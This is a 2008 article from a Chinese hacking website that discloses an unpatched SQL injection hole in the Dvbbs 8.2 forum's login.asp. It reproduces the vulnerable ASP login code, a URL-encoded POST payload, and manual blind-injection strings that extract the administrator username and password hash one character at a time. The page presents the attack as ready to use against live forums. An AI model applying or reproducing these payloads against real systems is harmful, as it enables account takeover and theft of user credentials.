黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·Vista下上网冲浪与众不同06-02·微调Web站点以适应XP SP06-02
·安装Vista SP1后遇到声音06-02·在XP和Windows Server 206-02
·第一主机提供CN免费域名06-02·超级主机提供200M/FTP免06-02
·企业服务器 SQL Server弱06-01·3389任意密码登陆(vb源码06-01
·Dvbbs8.2 access/sql 版06-01·dvbbs 8.2 SQL注射漏洞分06-01
·网络嗅探器SniffX使用说06-01·phpwind管理权限泄露漏洞06-01
·免费发彩信的工具06-01·不安装/不修改文件 让XP06-01
·藏再隐秘也没用 高效利用06-01·EveryDNS提供免费域名DN06-01
·ZWRO互联提供500M免费全06-01·对 XP中出现故障服务进行05-30
·让XP和Vista一样拥有动态05-30·让病毒和木马白白运行05-29
·给你的IE套件盔甲05-29·轻松破解Vista系统密码05-29
·利用sohu网站URL跳转漏洞05-29·F2blog XMLRPC 上传文件05-29
·FLASH网马现身互联网05-29·我在入侵过程中注意到的05-29
·用好Windows Server 20005-29·OpenDNS提供免费DNS服务05-29
[推荐]Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞
        ★★★★★

Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-1 9:59:30

漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。

漏洞等级:
高危

漏洞分析:

以下是引用片段:
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

编辑说明下 刚有人问语句 具体就是
If ajaxPro Then username = unescape(username)
这个没有过滤
Login.asp 登陆

以下是引用片段:
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport=’"&mobile&"’"
Else
sqlstr=" UserName=’"&username&"’"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where “&sqlstr&”"
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
’strString(”本论坛不存在该用户名.@@@@0″)
ChkUserLogin=False
Exit Function
Else
If rsUser(”Lockuser”) =1 Or rsUser(”UserGroupID”) =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser(”UserPassword”)) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser(”UserID”)
RegName = RsUser(”UserName”)
Article= RsUser(”UserPost”)
UserLastLogin = RsUser(”cometime”)
UserClass = RsUser(”Userclass”)
GroupID = RsUser(”userGroupID”)
OLDuserhidden=RsUser(”UserHidden”)
TitlePic = RsUser(”UserTitle”)
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,”userinfo”,”xml”)
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@cometime”).text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@activetime”).text=DateAdd(”s”,-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@boardid”).text=0
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo”).attributes.setNamedItem(Dvbbs.UserSession.createNode(2,”isuserpermissionall”,”")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@userhidden”).text=userhidden
Dvbbs.Execute(”update Dv_user set userhidden=”&userhidden&” where UserId=” & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & “UserID”)=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString(”用户名或者密码不正确.@@@@0″)
End If
ChkUserLogin=False
Exit Function
End If
End If
End If

漏洞利用:(access版)
由于使用验证码,该漏洞只能纯手工进行注入尝试,在用户登陆页面,用户名处构造sql语句
如:

判断
Where’ and ‘1’=’1

where’ and ‘1’=’2
密码任意6位,输入验证码
根据返回信息,第一条显示用户名或密码错误第二条显示无此用户

猜解用户
where’ and 1=(select count(*) from dv_admin where left(username,1)=’a') and ‘1′=’1
where’ and 1=(select count(*) from dv_admin where left(username,2)=’ad’) and ‘1′=’1
……………………….
……………………
…………………….

猜解密码(md5加密)
where’ and 1=(select count(*) from dv_admin where left(password,1)=’1′) and ‘1′=’1
where’ and 1=(select count(*) from dv_admin where left(password,2)=’15′) and ‘1′=’1
……………………
……………………
…………………..

简单测试官方sql版也存在漏洞,利用过程不写了

相关信息:
Dvbbs官方 http://www.dvbbs.net

漏洞分析及测试
由where首发
联系mail: hacker@126.com

补丁:
目前官方没有任何补丁,请等待升级补丁


文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886